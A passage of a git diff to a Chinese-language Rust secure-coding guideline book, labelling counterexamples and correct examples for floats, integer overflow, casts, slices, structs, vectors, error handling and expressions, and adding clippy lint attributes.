{ } -if (y - x).abs() > error_margin { } - -// or -pub fn is_roughly_equal(a: f32, b: f32) -> bool { - (a - b).abs() < f32::EPSILON + +#![warn(clippy::float_arithmetic, clippy::float_cmp, clippy::float_cmp_const)] + +fn main(){ + let x = 1.2331f64; + let y = 1.2332f64; + + payment(x, y); +} + +fn payment(x: f64, y: f64) -> Result{ + let z = y - x; + let error_margin = f64::EPSILON; + // 符合:浮点数的差异绝对值在允许范围内 + if z.abs() < error_margin { + return Ok(z); + } else { + return PaymentErr(e); + } } ``` diff --git a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.04.md b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.04.md index 5c7b02bf..acdf45b3 100644 --- a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.04.md +++ b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.04.md @@ -9,55 +9,66 @@ **【反例】** ```rust -let a = 3f32; -let _ = a.powf(1.0 / 3.0); -let _ = (1.0 + a).ln(); -let _ = a.exp() - 1.0; - -use std::f32::consts::E; - -let a = 3f32; -let _ = (2f32).powf(a); -let _ = E.powf(a); -let _ = a.powf(1.0 / 2.0); -let _ = a.log(2.0); -let _ = a.log(10.0); -let _ = a.log(E); -let _ = a.powf(2.0); -let _ = a * 2.0 + 4.0; -let _ = if a < 0.0 { - -a -} else { - a -}; -let _ = if a < 0.0 { - a -} else { - -a -}; +#![warn(clippy::imprecise_flops, clippy::suboptimal_flops)] + +// 不符合 +fn main() { + let a = 3f32; + let _ = a.powf(1.0 / 3.0); + let _ = (1.0 + a).ln(); + let _ = a.exp() - 1.0; + + use std::f32::consts::E; + + let a = 3f32; + let _ = (2f32).powf(a); + let _ = E.powf(a); + let _ = a.powf(1.0 / 2.0); + let _ = a.log(2.0); + let _ = a.log(10.0); + let _ = a.log(E); + let _ = a.powf(2.0); + let _ = a * 2.0 + 4.0; + let _ = if a < 0.0 { + -a + } else { + a + }; + let _ = if a < 0.0 { + a + } else { + -a + }; +} ``` **【正例】** ```rust -let a = 3f32; -let _ = a.cbrt(); -let _ = a.ln_1p(); -let _ = a.exp_m1(); - -use std::f32::consts::E; - -let a = 3f32; -let _ = a.exp2(); -let _ = a.exp(); -let _ = a.sqrt(); -let _ = a.log2(); -let _ = a.log10(); -let _ = a.ln(); -let _ = a.powi(2); -let _ = a.mul_add(2.0, 4.0); -let _ = a.abs(); -let _ = -a.abs(); +#![warn(clippy::imprecise_flops, clippy::suboptimal_flops)] + +// 符合 +fn main(){ + let a = 3f32; + let _ = a.cbrt(); + let _ = a.ln_1p(); + let _ = a.exp_m1(); + + use std::f32::consts::E; + + let a = 3f32; + let _ = a.exp2(); + let _ = a.exp(); + let _ = a.sqrt(); + let _ = a.log2(); + let _ = a.log10(); + let _ = a.ln(); + let _ = a.powi(2); + let _ = a.mul_add(2.0, 4.0); + let _ = a.abs(); + let _ = -a.abs(); +} + ``` **【Lint 检测】** diff --git a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.05.md b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.05.md index 6fa38a8a..0bc50006 100644 --- a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.05.md +++ b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.05.md @@ -4,22 +4,24 @@ **【描述】** -使用 `transmute` 转换是非常容易出错的,建议使用 `to_bites` 这样转换更加安全。 +使用 `transmute` 转换容易产生未定义行为,建议使用 `to_bites` 这样转换更加安全。 **【反例】** ```rust +// 不符合 unsafe { let _: u32 = std::mem::transmute(1f32); - let _: f32 = std::mem::transmute(1_u32); // where x: u32 + let _: f32 = std::mem::transmute(1_u32); } ``` **【正例】** ```rust -let _: f32 = f32::from_bits(1_u32); +//符合 let _: u32 = 1f32.to_bits(); +let _: f32 = f32::from_bits(1_u32); ``` **【Lint 检测】** diff --git a/src/safe-guides/coding_practice/data-type/int/G.TYP.INT.01.md b/src/safe-guides/coding_practice/data-type/int/G.TYP.INT.01.md index b573bbfc..1fe0279e 100644 --- a/src/safe-guides/coding_practice/data-type/int/G.TYP.INT.01.md +++ b/src/safe-guides/coding_practice/data-type/int/G.TYP.INT.01.md @@ -12,7 +12,8 @@ 1. `check_*`函数返回`Option`,一旦发生溢出则返回None。 2. `saturating_*`系列函数返回类型是整数,如果溢出,则给出该类型可表示范围的“最大/最小”值。 -3. `wrapping_*`系列函数则是直接抛弃已经溢出的最高位,将剩下的部分返回。 +3. `wrapping_*`系列函数则是直接抛弃已经溢出的最高位,将剩下的部分返回。即,返回直接二进制补码结果。 +4. `overflowing_*`系列函数返回二进制补码结果以及指示是否发生溢出的布尔值。 Rust 编译器在编译时默认没有溢出检查(可通过编译参数来引入),但在运行时会有 Rust 内置 lint (`#[deny(arithmetic_overflow)]`)来检查,如果有溢出会 Panic。 @@ -21,14 +22,19 @@ Rust 编译器在编译时默认没有溢出检查(可通过编译参数来引 **【反例】** ```rust +#![warn(clippy::integer_arithmetic)] + +// 不符合 assert_eq!((-5i32).abs(), 5); assert_eq!(100i32+1, 101); fn test_integer_overflow() { - // debug 与 release 编译都会有溢出检查 + + // 不符合:这种写法 debug 与 release 编译时会有溢出检查 let mut a: u8 = 255 + 1; - // debug模式,运行panic;release模式,x = 0 + // 不符合:这种写法,Rust 编译器不检查,但 Clippy可以检查到 + // debug模式,运行 panic;release模式,x = 0 let mut x: u8 = 255; x += 1; println!("x={}", x); @@ -38,15 +44,20 @@ fn test_integer_overflow() { **【正例】** ```rust +#![warn(clippy::integer_arithmetic)] + +// 符合 assert_eq!((-5i32).checked_abs(), Some(5)); assert_eq!(100i32.saturating_add(1), 101); +// 符合 fn add_num(a: u8) -> u8 { a.wrapping_add(255) } fn test_integer_overflow() { - // 对于字面量或常量表达式,debug 与 release 编译模式都会有溢出检查 + // 符合: 对于字面量或常量表达式,debug 与 release 编译模式都会有溢出检查 let mut a: u8 = 255 + 1; + // 符合 // debug模式,运行会Panic // release模式,x 会等于 0 let mut x: u8 = 255; diff --git a/src/safe-guides/coding_practice/data-type/int/G.TYP.INT.02.md b/src/safe-guides/coding_practice/data-type/int/G.TYP.INT.02.md index c4154c92..7cbae6e4 100644 --- a/src/safe-guides/coding_practice/data-type/int/G.TYP.INT.02.md +++ b/src/safe-guides/coding_practice/data-type/int/G.TYP.INT.02.md @@ -4,23 +4,32 @@ **【描述】** -当有符号整数被强制转换为无符号整数时,负值会发生回绕,变成更大的正值,这在实际应用时有可能助长缓冲区溢出风险。 +当有符号整数被强制转换为无符号整数时,负值会发生回绕(wrap around),变成更大的正值,这在实际应用时有可能助长缓冲区溢出风险。 + +> 注意:在 Rust 中整数溢出属于 未指定(unspecified)行为,而非未定义行为 (见 RFC 560)。 **【反例】** ```rust -let y: i8 = -1; -y as u128; // will return 18446744073709551615 +#![warn(clippy::cast_sign_loss)] +fn main(){ + let y: i8 = -1; + y as u128; // will return 18446744073709551615 +} ``` **【正例】** ```rust -let y : i8 = -1; -// Error: -// the trait `From` is not implemented for `u128` -// the trait bound `u128: From` is not satisfied -let z = u128::from(y); +#![warn(clippy::cast_sign_loss)] + +fn main(){ + let y : i8 = -1; + // Error: + // the trait `From` is not implemented for `u128` + // the trait bound `u128: From` is not satisfied + let z = u128::from(y); +} ``` **【Lint 检测】** @@ -32,4 +41,7 @@ let z = u128::from(y); 注意:默认情况下该 lint 是` allow`,如果需要检查这种转换,则需要设置为 `warn`或 `deny`。 +## 参考 +- [https://huonw.github.io/blog/2016/04/myths-and-legends-about-integer-overflow-in-rust/](https://huonw.github.io/blog/2016/04/myths-and-legends-about-integer-overflow-in-rust/) +- [https://github.com/rust-lang/rfcs/blob/master/text/0560-integer-overflow.md](https://github.com/rust-lang/rfcs/blob/master/text/0560-integer-overflow.md) diff --git a/src/safe-guides/coding_practice/data-type/int/G.TYP.INT.03.md b/src/safe-guides/coding_practice/data-type/int/G.TYP.INT.03.md index b710f20c..122ef213 100644 --- a/src/safe-guides/coding_practice/data-type/int/G.TYP.INT.03.md +++ b/src/safe-guides/coding_practice/data-type/int/G.TYP.INT.03.md @@ -9,6 +9,8 @@ Rust 中的 `%` 符号为余数运算符,它的行为与`C`或`Java`等语言 **【反例】** ```rust +#![warn(clippy::modulo_arithmetic)] + fn main() { let a: i32 = -1; let b: i32 = 6; @@ -20,6 +22,8 @@ fn main() { **【正例】** ```rust +#![warn(clippy::modulo_arithmetic)] + fn main() { let a: i32 = -1; let b: i32 = 6; diff --git a/src/safe-guides/coding_practice/data-type/slice/P.TYP.SLC.01.md b/src/safe-guides/coding_practice/data-type/slice/P.TYP.SLC.01.md index 8b3dbcd3..47029795 100644 --- a/src/safe-guides/coding_practice/data-type/slice/P.TYP.SLC.01.md +++ b/src/safe-guides/coding_practice/data-type/slice/P.TYP.SLC.01.md @@ -6,17 +6,6 @@ 利用 切片自带的方法,并利用迭代器,可以避免这种错误。 -**【正例】** - -```rust -let points: Vec = ...; -let mut differences = Vec::new(); - -// 切片提供 windows 或 array_windows 方法返回迭代器 -for [previous, current] in points.array_windows().copied() { - differences.push(current - previous); -} -``` **【反例】** @@ -24,7 +13,7 @@ for [previous, current] in points.array_windows().copied() { let points: Vec = ...; let differences = Vec::new(); -// 人工计算长度选择范围很可能会出错 +// 不符合:人工计算长度选择范围很可能会出错 for i in 1..points.len() [ let current = points[i]; let previous = points[i-1]; @@ -32,3 +21,16 @@ for i in 1..points.len() [ ] ``` +**【正例】** + +```rust +let points: Vec = ...; +let mut differences = Vec::new(); + +// 符合:切片提供 windows 或 array_windows 方法返回迭代器 +for [previous, current] in points.array_windows().copied() { + differences.push(current - previous); +} +``` + + diff --git a/src/safe-guides/coding_practice/data-type/slice/P.TYP.SLC.02.md b/src/safe-guides/coding_practice/data-type/slice/P.TYP.SLC.02.md index 12571bd1..2a3cc931 100644 --- a/src/safe-guides/coding_practice/data-type/slice/P.TYP.SLC.02.md +++ b/src/safe-guides/coding_practice/data-type/slice/P.TYP.SLC.02.md @@ -6,7 +6,7 @@ **【正例】** -利用切片模式编写判断回文字符串的函数。代码来自于:[Daily Rust: Slice Patterns](https://adventures.michaelfbryan.com/posts/daily/slice-patterns/#matching-the-start-of-a-slice) ,还有更多用例。 +利用切片模式编写判断回文字符串(如"aba"、"abba"之类)的函数。代码来自于:[Daily Rust: Slice Patterns](https://adventures.michaelfbryan.com/posts/daily/slice-patterns/#matching-the-start-of-a-slice),还有更多用例。 ```rust pub fn word_is_palindrome(word: &str) -> bool { @@ -14,32 +14,12 @@ pub fn word_is_palindrome(word: &str) -> bool { is_palindrome(&letters) } -// 利用切片模式匹配来判断是否回文字符串 +// 符合:利用切片模式匹配来判断是否回文字符串 fn is_palindrome(items: &[char]) -> bool { match items { [first, middle @ .., last] => first == last && is_palindrome(middle), [] | [_] => true, } } - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn known_palindromes() { - assert!(word_is_palindrome("")); - assert!(word_is_palindrome("a")); - assert!(word_is_palindrome("aba")); - assert!(word_is_palindrome("abba")); - } - - #[test] - fn not_palindromes() { - assert!(!word_is_palindrome("abc")); - assert!(!word_is_palindrome("abab")); - } -} - ``` diff --git a/src/safe-guides/coding_practice/data-type/struct/G.TYP.SCT.01.md b/src/safe-guides/coding_practice/data-type/struct/G.TYP.SCT.01.md index 66e385cf..3153b0cb 100644 --- a/src/safe-guides/coding_practice/data-type/struct/G.TYP.SCT.01.md +++ b/src/safe-guides/coding_practice/data-type/struct/G.TYP.SCT.01.md @@ -11,10 +11,12 @@ 在 `#[non_exhaustive]` 属性稳定之前,社区内还有一种约定俗成的写法来达到防止下游自定义枚举方法。通过 `manual_non_exhaustive` 可以监控这类写法。 ```rust +#![warn(clippy::exhaustive_structs)] + struct S { pub a: i32, pub b: i32, - _priv: (), // 这里用 下划线作为前缀定义的字段,作为私有字段,不对外公开 + _priv: (), // 不符合:这里用 下划线作为前缀定义的字段,作为私有字段,不对外公开 } // 用户无法自定义实现该结构体的方法。 @@ -23,6 +25,9 @@ struct S { **【正例】** ```rust +#![warn(clippy::exhaustive_structs)] + +// 符合 #[non_exhaustive] struct Foo { bar: u8, diff --git a/src/safe-guides/coding_practice/data-type/struct/G.TYP.SCT.02.md b/src/safe-guides/coding_practice/data-type/struct/G.TYP.SCT.02.md index f64a68a0..ddab774e 100644 --- a/src/safe-guides/coding_practice/data-type/struct/G.TYP.SCT.02.md +++ b/src/safe-guides/coding_practice/data-type/struct/G.TYP.SCT.02.md @@ -9,7 +9,11 @@ **【反例】** ```rust +#![warn(clippy::struct_excessive_bools)] + +// 不符合 struct S { + name: String, is_pending: bool, is_processing: bool, is_finished: bool, @@ -19,7 +23,14 @@ struct S { **【正例】** ```rust -enum S { +#![warn(clippy::struct_excessive_bools)] +// 符合 +struct S { + name: String, + state: State, +} + +enum State { Pending, Processing, Finished, diff --git a/src/safe-guides/coding_practice/data-type/struct/G.TYP.SCT.03.md b/src/safe-guides/coding_practice/data-type/struct/G.TYP.SCT.03.md index db4b1b67..b79d6adf 100644 --- a/src/safe-guides/coding_practice/data-type/struct/G.TYP.SCT.03.md +++ b/src/safe-guides/coding_practice/data-type/struct/G.TYP.SCT.03.md @@ -11,6 +11,7 @@ **【反例】** ```rust +// 不符合 let mut a: A = Default::default(); a.i = 42; ``` @@ -18,6 +19,7 @@ a.i = 42; **【正例】** ```rust +// 符合 let a = A { i: 42, .. Default::default() diff --git a/src/safe-guides/coding_practice/data-type/struct/P.TYP.SCT.01.md b/src/safe-guides/coding_practice/data-type/struct/P.TYP.SCT.01.md index 9941f079..4737b313 100644 --- a/src/safe-guides/coding_practice/data-type/struct/P.TYP.SCT.01.md +++ b/src/safe-guides/coding_practice/data-type/struct/P.TYP.SCT.01.md @@ -7,6 +7,7 @@ **【反例】** ```rust +// 不符合 // 先构建 let mut dict = Dictionary::new(); // 后初始化 @@ -16,6 +17,7 @@ dict.load_from_file("./words.txt")?; **【正例】** ```rust +// 符合 // 构建即初始化 let dict = Dictionary::from_file("./words.txt")?; diff --git a/src/safe-guides/coding_practice/data-type/struct/P.TYP.SCT.02.md b/src/safe-guides/coding_practice/data-type/struct/P.TYP.SCT.02.md index abd670d9..564a4b43 100644 --- a/src/safe-guides/coding_practice/data-type/struct/P.TYP.SCT.02.md +++ b/src/safe-guides/coding_practice/data-type/struct/P.TYP.SCT.02.md @@ -9,31 +9,21 @@ ```rust use std::{path::PathBuf, time::Duration}; - // note that we can simply auto-derive Default here. #[derive(Default, Debug, PartialEq)] struct MyConfiguration { - // Option defaults to None output: Option, - // Vecs default to empty vector search_path: Vec, - // Duration defaults to zero time timeout: Duration, - // bool defaults to false check: bool, } - - impl MyConfiguration { - // add setters here - } - + fn main() { - // construct a new instance with default values + // 使用 default 方法创建实例 let mut conf = MyConfiguration::default(); - // do something with conf here conf.check = true; println!("conf = {:#?}", conf); - // partial initialization with default values, creates the same instance + // 创建新实例的时候,使用局部更新更加方便 let conf1 = MyConfiguration { check: true, ..Default::default() @@ -43,5 +33,5 @@ ``` ---- + diff --git a/src/safe-guides/coding_practice/data-type/tuple/G.TYP.TUP.01.md b/src/safe-guides/coding_practice/data-type/tuple/G.TYP.TUP.01.md index d1109bc9..aa2d0d1f 100644 --- a/src/safe-guides/coding_practice/data-type/tuple/G.TYP.TUP.01.md +++ b/src/safe-guides/coding_practice/data-type/tuple/G.TYP.TUP.01.md @@ -11,6 +11,7 @@ **【反例】** ```rust +// 不符合:超过3个元组参数 fn convert(x: i8) -> (i8, i16, i32, i64, f32, f64) { (x as i8, x as i16, x as i32, x as i64, x as f32, x as f64) @@ -21,14 +22,4 @@ fn main(){ } ``` -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| ------------------------------------------------------------ | ------------- | ------------ | ---------- | ----- | -| _ | no | no | _ | yes | - -【定制化参考】 - -可以检测元组中元素个数,如果超过 3 个,发出警告或建议。并且可以支持配置允许个数。 - diff --git a/src/safe-guides/coding_practice/data-type/vec/G.TYP.Vec.01.md b/src/safe-guides/coding_practice/data-type/vec/G.TYP.Vec.01.md index 101f40e6..5954b010 100644 --- a/src/safe-guides/coding_practice/data-type/vec/G.TYP.Vec.01.md +++ b/src/safe-guides/coding_practice/data-type/vec/G.TYP.Vec.01.md @@ -11,24 +11,16 @@ ```rust let mut vec: Vec = Vec::with_capacity(1000); unsafe { vec.set_len(1000); } + // 不符合 reader.read(&mut vec); // error: Undefined Behavior: using uninitialized data, but this operation requires initialized memory ``` **【正例】** ```rust +// 符合 let mut vec: Vec = vec![0; 1000]; reader.read(&mut vec); - -// or -let mut vec: Vec> = Vec::with_capacity(1000); -vec.set_len(1000); // `MaybeUninit` can be uninitialized - -// or -let mut vec: Vec = Vec::with_capacity(1000); -let remaining = vec.spare_capacity_mut(); // `&mut [MaybeUninit]` -// perform initialization with `remaining` -vec.set_len(...); // Safe to call `set_len()` on initialized part ``` **【Lint 检测】** diff --git a/src/safe-guides/coding_practice/data-type/vec/P.TYP.Vec.01.md b/src/safe-guides/coding_practice/data-type/vec/P.TYP.Vec.01.md index 74b64473..e3d4e3ce 100644 --- a/src/safe-guides/coding_practice/data-type/vec/P.TYP.Vec.01.md +++ b/src/safe-guides/coding_practice/data-type/vec/P.TYP.Vec.01.md @@ -4,7 +4,7 @@ **【描述】** -相关原则参见数组一节中有[对应原则](./array.md),非必须不要使用 `Vec`,应该优先尝试使用固定长度数组或常量泛型。 +非必须不宜使用 `Vec`,应该优先尝试使用固定长度数组或常量泛型。 或者可以参考第三方库,诸如 [`smallvec`](https://docs.rs/smallvec/latest/smallvec) ,在元素比较少量的时候,可以放到栈上进行管理,如果超过一定元素才会选择堆内存。 @@ -12,7 +12,7 @@ ```rust fn main() { - // 初始化有三个元素的数组 + // 不符合 let v: Vec = vec![1, 2, 3]; println!("{:#}", v); } @@ -22,7 +22,7 @@ fn main() { ```rust fn main() { - // 初始化有三个元素的数组 + // 符合 let v = [1, 2, 3]; println!("{:#?}", v); } diff --git a/src/safe-guides/coding_practice/data-type/vec/P.TYP.Vec.02.md b/src/safe-guides/coding_practice/data-type/vec/P.TYP.Vec.02.md index 5ce3e06b..4bc05f30 100644 --- a/src/safe-guides/coding_practice/data-type/vec/P.TYP.Vec.02.md +++ b/src/safe-guides/coding_practice/data-type/vec/P.TYP.Vec.02.md @@ -7,14 +7,15 @@ **【反例】** ```rust +// 不符合 let mut output = Vec::new(); ``` **【正例】** ```rust +// 符合 let mut output = Vec::with_capacity(input.len()); ``` ---- diff --git a/src/safe-guides/coding_practice/error-handle/G.ERR.01.md b/src/safe-guides/coding_practice/error-handle/G.ERR.01.md index 92b2aa29..7069a17c 100644 --- a/src/safe-guides/coding_practice/error-handle/G.ERR.01.md +++ b/src/safe-guides/coding_practice/error-handle/G.ERR.01.md @@ -9,24 +9,28 @@ **【反例】** ```rust +#![warn(clippy::unwrap_used)] + fn select(opt: Option) { - opt.unwrap(); // 可以用 expect 方法来处理 None 的情况 + opt.unwrap(); // 不符合 } // OR fn select(opt: Result) { - res.unwrap(); // 可以用 expect 方法来处理 Err 的情况 + res.unwrap(); // 不符合 } ``` **【正例】** ```rust +#![warn(clippy::unwrap_used)] + fn select(opt: Option) { - opt.expect("more helpful message"); // 可以用 expect 方法来处理 None 的情况 + opt.expect("more helpful message"); // 符合:可以用 expect 方法来处理 None 的情况 } // OR fn select(opt: Result) { - res.expect("more helpful message"); // 可以用 expect 方法来处理 Err 的情况 + res.expect("more helpful message"); // 符合:可以用 expect 方法来处理 Err 的情况 } ``` diff --git a/src/safe-guides/coding_practice/error-handle/G.ERR.02.md b/src/safe-guides/coding_practice/error-handle/G.ERR.02.md index 36dc7738..fa85a6f9 100644 --- a/src/safe-guides/coding_practice/error-handle/G.ERR.02.md +++ b/src/safe-guides/coding_practice/error-handle/G.ERR.02.md @@ -4,7 +4,11 @@ **【描述】** -使用 `expect` 的时候请遵循 `expect` 的语义,不要滥用。参考 : **P.ERR.05** 。 +使用 `expect` 的时候请遵循 `expect` 的语义,不要滥用。 + +> `expect` 的语义: +> +> 我不打算处理 `None` 或 `Err` 这种可能性,因为我知道这种可能性永远不会发生,或者,它不应该发生。但是 类型系统并不知道它永远不会发生。所以,我需要像类型系统保证,如果它确实发生了,它可以认为是一种错误,并且程序应该崩溃,并带着可以用于跟踪和修复该错误的栈跟踪信息。 但是对于一些存在“副作用”的函数,在 遇到 `None` 或 `Err` 时,可能需要返回一些指定的值。这个时候用 `expect` 就不太符合语义。 @@ -13,21 +17,28 @@ **【反例】** ```rust -let foo = Some(String::new()); -let err_code = "418"; -let err_msg = "I'm a teapot"; -foo.expect(&format!("Err {}: {}", err_code, err_msg)); -// or -foo.expect(format!("Err {}: {}", err_code, err_msg).as_str()); +#![warn(clippy::expect_used)] +fn main(){ + let foo = Some(String::new()); + let err_code = "418"; + let err_msg = "I'm a teapot"; + // 不符合:因为要返回指定的错误码等信息,不适合 expect 语义 + foo.expect(&format!("Err {}: {}", err_code, err_msg)); +} + ``` **【正例】** ```rust -let foo = Some(String::new()); -let err_code = "418"; -let err_msg = "I'm a teapot"; -foo.unwrap_or_else(|| panic!("Err {}: {}", err_code, err_msg)); // 你可以根据场景选择性使用 panic! 或者 不 panic! +#![warn(clippy::expect_used)] +fn main(){ + let foo = Some(String::new()); + let err_code = "418"; + let err_msg = "I'm a teapot"; + // 符合 + foo.unwrap_or_else(|| panic!("Err {}: {}", err_code, err_msg)); // 你可以根据场景选择性使用 panic! 或者 不 panic! +} ``` **【例外】** @@ -41,12 +52,12 @@ foo.unwrap_or_else(|| panic!("Err {}: {}", err_code, err_msg)); // 你可以根 // 这个配置文件不应该没有被提供,如果万一出现了没有提供的情况,需要 Panic 并提供错误信息方便调试,或者让使用者知道原因 let config = Config::read("some_config.toml").expect("Provide the correct configuration file"); -// or -fn main() { - use std::net::IpAddr; - let _home: IpAddr = "127.0.0.1".parse().expect("Provide the correct Ip addr"); -} +// 或者 + +use std::net::IpAddr; +let _home: IpAddr = "127.0.0.1".parse().expect("Provide the correct Ip addr"); + ``` diff --git a/src/safe-guides/coding_practice/error-handle/P.ERR.01.md b/src/safe-guides/coding_practice/error-handle/P.ERR.01.md index 7496e532..b1a319a5 100644 --- a/src/safe-guides/coding_practice/error-handle/P.ERR.01.md +++ b/src/safe-guides/coding_practice/error-handle/P.ERR.01.md @@ -23,9 +23,6 @@ pub fn swap_remove(&mut self, index: usize) -> T { assert_failed(index, len); } unsafe { - // We replace self[index] with the last element. Note that if the - // bounds check above succeeds there must be a last element (which - // can be self[index] itself). let last = ptr::read(self.as_ptr().add(len - 1)); let hole = self.as_mut_ptr().add(index); self.set_len(len - 1); diff --git a/src/safe-guides/coding_practice/error-handle/P.ERR.02.md b/src/safe-guides/coding_practice/error-handle/P.ERR.02.md index 9690737f..e361fa94 100644 --- a/src/safe-guides/coding_practice/error-handle/P.ERR.02.md +++ b/src/safe-guides/coding_practice/error-handle/P.ERR.02.md @@ -1,4 +1,4 @@ -## P.ERR.05 在确定 `Option` 和 `Result`类型的值不可能是 `None` 或 `Err` 时,请用 `expect` 代替 `unwrap()` +## P.ERR.02 在确定 `Option` 和 `Result`类型的值不可能是 `None` 或 `Err` 时,请用 `expect` 代替 `unwrap()` **【描述】** diff --git a/src/safe-guides/coding_practice/expr/G.EXP.01.md b/src/safe-guides/coding_practice/expr/G.EXP.01.md index 5f49b74e..4c1faac2 100644 --- a/src/safe-guides/coding_practice/expr/G.EXP.01.md +++ b/src/safe-guides/coding_practice/expr/G.EXP.01.md @@ -11,7 +11,7 @@ ```rust let mut a = 5; let b = 0; -a = a + b; +a = a + b; // 不符合 ``` **【正例】** @@ -19,7 +19,7 @@ a = a + b; ```rust let mut a = 5; let b = 0; -a += b; +a += b; // 符合 ``` 【Lint 检测】 diff --git a/src/safe-guides/coding_practice/expr/G.EXP.02.md b/src/safe-guides/coding_practice/expr/G.EXP.02.md index febf45f8..df334150 100644 --- a/src/safe-guides/coding_practice/expr/G.EXP.02.md +++ b/src/safe-guides/coding_practice/expr/G.EXP.02.md @@ -1,9 +1,11 @@ ## G.EXP.02 不宜在比较中使用不兼容的位掩码 -**【级别】** 建议 +**【级别】** 要求 **【描述】** +如果比较的位总是被位掩码设置为零或一,则比较是常量true或 false(取决于掩码、比较值和运算符),这种代码是有误导性的,可能是故意这么写用于赢得一场性能竞赛或者是通过一个测试用例。 + 可以对照下面表格进行检查。 |Comparison | Bit Op |Example | is always | Formula | @@ -18,9 +20,19 @@ **【反例】** ```rust +let x = 2; +// 不符合:该表达式会永远是 false if (x & 1 == 2) { } ``` +**【正例】** + +```rust +let x = 2; +// 符合 +if (x == 2) { } +``` + **【Lint 检测】** | lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | level | diff --git a/src/safe-guides/coding_practice/expr/G.EXP.03.md b/src/safe-guides/coding_practice/expr/G.EXP.03.md index aa9bf656..5408b9af 100644 --- a/src/safe-guides/coding_practice/expr/G.EXP.03.md +++ b/src/safe-guides/coding_practice/expr/G.EXP.03.md @@ -10,15 +10,15 @@ ```rust fn main(){ - [42, 55][get_usize()]; - compute_array()[0]; + // 不符合 + [42, 55][get_usize()]; + compute_array()[0]; } fn get_usize() -> usize { 6 } - fn compute_array() -> [i32; 3] { [1,2,3] } @@ -28,8 +28,9 @@ fn compute_array() -> [i32; 3] { ```rust fn main(){ - assert!([42, 55].len() > get_usize()); - assert!(compute_array().len() > 0); + // 符合 + assert!([42, 55].len() > get_usize()); + assert!(compute_array().len() > 0); } fn get_usize() -> usize { diff --git a/src/safe-guides/coding_practice/expr/G.EXP.04.md b/src/safe-guides/coding_practice/expr/G.EXP.04.md index ad3ec59a..ccf87e21 100644 --- a/src/safe-guides/coding_practice/expr/G.EXP.04.md +++ b/src/safe-guides/coding_practice/expr/G.EXP.04.md @@ -10,14 +10,14 @@ C/Cpp 等编程语言常用的自增自减操作,如 `++i` 、`i++` 、`i--` ```rust let mut x = 3; ---x; // x == 3 +--x; // 不符合:x 的值还是 3 ``` **【正例】** ```rust let mut x = 3; -x -= 1; // x == 2 +x -= 1; // 符合 ``` **【Lint 检测】** diff --git a/src/safe-guides/coding_practice/expr/G.EXP.05.md b/src/safe-guides/coding_practice/expr/G.EXP.05.md index b1c7816b..10df2c7b 100644 --- a/src/safe-guides/coding_practice/expr/G.EXP.05.md +++ b/src/safe-guides/coding_practice/expr/G.EXP.05.md @@ -9,15 +9,15 @@ **【反例】** ```rust -1 << 2 + 3 --1i32.abs() +1 << 2 + 3 // 不符合 +-1i32.abs() // 不符合 ``` **【正例】** ```rust -(1 << 2) + 3 -(-1i32).abs() +(1 << 2) + 3 // 符合 +(-1i32).abs() // 符合 ``` **【Lint 检测】** diff --git a/src/safe-guides/coding_practice/expr/G.EXP.06.md b/src/safe-guides/coding_practice/expr/G.EXP.06.md index c3737e8d..9a221551 100644 --- a/src/safe-guides/coding_practice/expr/G.EXP.06.md +++ b/src/safe-guides/coding_practice/expr/G.EXP.06.md @@ -1,6 +1,6 @@ ## G.EXP.06 避免在比较中添加无用的掩码操作 -**【级别】** 建议 +**【级别】** 要求 **【描述】** @@ -16,12 +16,14 @@ **【反例】** ```rust +// 不符合 if (x | 1 > 3) { } ``` **【正例】** ```rust +// 符合 if (x > 3) { } ``` diff --git a/src/safe-guides/coding_practice/fn-design/G.FUD.01.md b/src/safe-guides/coding_practice/fn-design/G.FUD.01.md index 28573f16..ecb84756 100644 --- a/src/safe-guides/coding_practice/fn-design/G.FUD.01.md +++ b/src/safe-guides/coding_practice/fn-design/G.FUD.01.md @@ -10,6 +10,7 @@ ```rust struct Color; +// 不符合 fn foo(x: f32, y: f32, name: &str, c: Color, w: u32, h: u32, a: u32, b: u32) { // .. } @@ -21,7 +22,7 @@ fn foo(x: f32, y: f32, name: &str, c: Color, w: u32, h: u32, a: u32, b: u32) { ```rust struct Color; -// 此处使用 常量泛型(const generic) 来接收后面多个 u32 类型的参数 +// 符合:此处使用 常量泛型(const generic) 来接收后面多个 u32 类型的参数 // 使用元组 缩短 2~3 个参数为一个参数 fn foo(x: (f32, f32), name: &str, c: Color, last: [T; N]) { ; diff --git a/src/safe-guides/coding_practice/fn-design/G.FUD.02.md b/src/safe-guides/coding_practice/fn-design/G.FUD.02.md index 057c5663..d21e8cfa 100644 --- a/src/safe-guides/coding_practice/fn-design/G.FUD.02.md +++ b/src/safe-guides/coding_practice/fn-design/G.FUD.02.md @@ -9,20 +9,24 @@ **【反例】** ```rust +#![warn(clippy::large_types_passed_by_value)] + #[derive(Clone, Copy)] struct TooLarge([u8; 2048]); -// Bad +// 不符合 fn foo(v: TooLarge) {} ``` **【正例】** ```rust +#![warn(clippy::large_types_passed_by_value)] + #[derive(Clone, Copy)] struct TooLarge([u8; 2048]); -// Good +// 符合 fn foo(v: &TooLarge) {} ``` diff --git a/src/safe-guides/coding_practice/fn-design/G.FUD.03.md b/src/safe-guides/coding_practice/fn-design/G.FUD.03.md index 2f5b6309..a5d48638 100644 --- a/src/safe-guides/coding_practice/fn-design/G.FUD.03.md +++ b/src/safe-guides/coding_practice/fn-design/G.FUD.03.md @@ -3,18 +3,24 @@ **【级别】** 建议 **【描述】** + 布尔类型的参数过多,很难让人记住,容易出错。将其封装为枚举或结构体,可以更好地利用类型系统的检查而避免出错。 其他类型参数过多时,也可以考虑是否可以用自定义结构体或枚举进行封装。 **【反例】** ```rust +#![warn(clippy::fn_params_excessive_bools)] + +// 不符合 fn f(is_round: bool, is_hot: bool) { ... } ``` **【正例】** ```rust +#![warn(clippy::fn_params_excessive_bools)] + enum Shape { Round, Spiky, @@ -25,6 +31,7 @@ enum Temperature { IceCold, } +// 符合 fn f(shape: Shape, temperature: Temperature) { ... } ``` diff --git 